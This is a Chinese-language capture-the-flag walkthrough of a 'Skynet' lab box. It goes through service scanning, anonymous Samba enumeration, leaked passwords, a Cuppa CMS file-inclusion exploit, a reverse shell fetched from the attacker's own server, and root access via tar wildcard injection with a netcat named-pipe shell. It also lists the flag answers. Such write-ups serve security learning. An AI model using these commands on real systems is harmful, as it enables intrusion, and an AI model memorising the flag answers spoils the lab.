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服务扫描
┌──(root💀kali)-[~]
└─# nmap -sV 10.10.166.193 255 ⨯
Starting Nmap 7.91 (https://nmap.org) at 2021-08-31 05:18 EDT
Nmap scan report for 10.10.111.23
Host is up (0.32s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.67 seconds目录爆破
└─# python3 dirsearch.py -u http://10.10.166.193 -e * -t 50 -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_|)
Extensions: CHANGELOG.md | HTTP method: get | Threads: 50 | Wordlist size: 220521
Error Log: /root/dirsearch/logs/errors-21-08-31_05-34-51.log
Target: http://10.10.166.193
[05:34:52] Starting:
[05:34:58] 301 - 312B - /admin -> http://10.10.111.23/admin/
[05:34:59] 200 - 523B - /
[05:35:00] 301 - 310B - /css -> http://10.10.111.23/css/
[05:35:03] 301 - 309B - /js -> http://10.10.111.23/js/
[05:35:06] 301 - 313B - /config -> http://10.10.111.23/config/
[05:35:19] 301 - 309B - /ai -> http://10.10.111.23/ai/
[05:37:06] 301 - 319B - /squirrelmail -> http://10.10.111.23/squirrelmail/枚举 samba 服务
枚举用户，能够用空会话登录
┌──(root💀kali)-[~]
└─# enum4linux -U 10.10.166.193 255 ⨯
Starting enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/) on Wed Sep 1 02:38:03 2021
==========================
| Target Information |
==========================
Target ........... 10.10.166.193
RID Range ........ 500-550,1000-1050
Username ......... ''Password .........''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.166.193 |
====================================================
[+] Got domain/workgroup name: WORKGROUP
=====================================
| Session Check on 10.10.166.193 |
=====================================
[+] Server 10.10.166.193 allows sessions using username '', password''
===========================================
| Getting domain SID for 10.10.166.193 |
===========================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=============================
| Users on 10.10.166.193 |
=============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: milesdyson Name: Desc:
user:[milesdyson] rid:[0x3e8]
enum4linux complete on Wed Sep 1 02:38:20 2021枚举分享目录
┌──(root💀kali)-[~]
└─# enum4linux -S 10.10.166.193
Starting enum4linux v0.8.9 (http://labs.portcullis.co.uk/application/enum4linux/) on Wed Sep 1 02:41:21 2021
==========================
| Target Information |
==========================
Target ........... 10.10.166.193
RID Range ........ 500-550,1000-1050
Username ......... ''Password .........''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.166.193 |
====================================================
[+] Got domain/workgroup name: WORKGROUP
=====================================
| Session Check on 10.10.166.193 |
=====================================
[+] Server 10.10.166.193 allows sessions using username '', password''
===========================================
| Getting domain SID for 10.10.166.193 |
===========================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=========================================
| Share Enumeration on 10.10.166.193 |
=========================================
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk Skynet Anonymous Share
milesdyson Disk Miles Dyson Personal Share
IPC$ IPC IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.166.193
//10.10.166.193/print$ Mapping: DENIED, Listing: N/A
//10.10.166.193/anonymous Mapping: OK, Listing: OK
//10.10.166.193/milesdyson Mapping: DENIED, Listing: N/A
//10.10.166.193/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Wed Sep 1 02:41:44 2021连贯 smb
smbclient //10.10.166.193/anonymous
在 logs/log1.txt 里找到明码：cyborg007haloterminator
question:What is Miles password for his emails?
answer:cyborg007haloterminator登录 http://10.10.166.193/squirrel…
账号密码：milesdyson：cyborg007haloterminator
邮件信息 1，泄露 samba 明码
We have changed your smb password after system malfunction.
Password: )s{A&2Z=F^n_E.B`邮件信息 2，是一个奇怪的二进制，转成文本
01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111转成文本：
balls hav zero tome to meto me tome to meto me tome to meto邮件信息 3，一段奇怪的文字, 放到谷歌里搜寻了一下，如同是前些年那个出 bug 的 facebook 的 AI 说的一段话
i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
登录 mailesdyson 的 samba
smbclient //10.10.166.193/milesdyson -U milesdyson
明码：)s{A&2Z=F^n_E.B`
在 notes/important.txt 里失去信息
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife
暗藏目录名
/45kra24zxs28v3yd
question：What is the hidden directory?
answer：/45kra24zxs28v3yd
question：What is the vulnerability called when you can include a remote file for malicious purposes?
answer：/remote file inclusion 爆破暗藏目录
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -u "http://10.10.166.193/45kra24zxs28v3yd/" -e* -t 50
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_|)
Extensions: * | HTTP method: get | Threads: 50 | Wordlist size: 6100
Error Log: /root/dirsearch/logs/errors-21-09-01_04-50-59.log
Target: http://10.10.166.193/45kra24zxs28v3yd/
[04:50:59] Starting:
[04:51:14] 301 - 337B - /45kra24zxs28v3yd/administrator -> http://10.10.166.193/45kra24zxs28v3yd/administrator/
[04:51:14] 403 - 277B - /45kra24zxs28v3yd/administrator/.htaccess
[04:51:15] 200 - 5KB - /45kra24zxs28v3yd/administrator/
[04:51:15] 200 - 5KB - /45kra24zxs28v3yd/administrator/index.php
[04:51:26] 200 - 418B - /45kra24zxs28v3yd/index.html
Task Completed失去登录页面：http://10.10.166.193/45kra24z…
cms 名称
Cuppa CMS
cms exp
存在 Local/Remote File Inclusion
https://www.exploit-db.com/ex…
验证 LFI：
http://10.10.166.193/45kra24z…
能够读取本机信息：
Field configuration:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin milesdyson:x:1001:1001:,,,:/home/milesdyson:/bin/bash dovecot:x:111:119:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false dovenull:x:112:120:Dovecot login user,,,:/nonexistent:/bin/false postfix:x:113:121::/var/spool/postfix:/bin/false mysql:x:114:123:MySQL Server,,,:/nonexistent:/bin/false 近程读取 php 文件
筹备好反弹 shell 文件，本地开启一个 http 服务
python3 -m http.server
http://10.10.166.193/45kra24z…
拿到初始 shell
在 /home/milesdyson 找到 user.txt
question：What is the user flag?
answer：7ce5c2109a40f958099283600a9ae807转成稳固 shell，用命令行下载一句话木马
wget http://10.13.21.169:8000/shel…
一句话木马拜访地址，用菜刀连贯
http://10.10.166.193/45kra24z…
能够 su milesdyson（须要先转成 tty）, 明码是：cyborg007haloterminator，然而不能够用 ssh 直连
查看定时工作
$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.daily)
47 6 * * 7 root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.weekly)
52 6 1 * * root test -x /usr/sbin/anacron || (cd / && run-parts --report /etc/cron.monthly)查看定时工作脚本
$ cat /home/milesdyson/backups/backup.sh
cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *通配符提权，在 /var/www/html/ 别离写入三个文件
因为靶机的 nc 不能应用 -e，咱们用另外一种办法做反弹 shell，别离执行以下命令
mknod /tmp/backpipe p
echo '/bin/sh 0</tmp/backpipe | nc 10.13.21.169 4455 1>/tmp/backpipe' > shell.sh
echo "">"--checkpoint-action=exec=sh shell.sh"echo"" > --checkpoint=1通配符提权解释
最初 tar cf /home/milesdyson/backups/backup.tgz * 这条命令的执行会变成：tar cf /home/milesdyson/backups/backup.tgz –checkpoint=1 –checkpoint-action=exec=sh shell.sh shell.sh
另外开启一个监听端口，等一分钟 cron 执行反弹 root shell
nc -lnvp 4455
在 /root/ 找到 root.txt
question：What is the root flag?
answer：3f0372db24753accc7179a282cd6a949
正文完
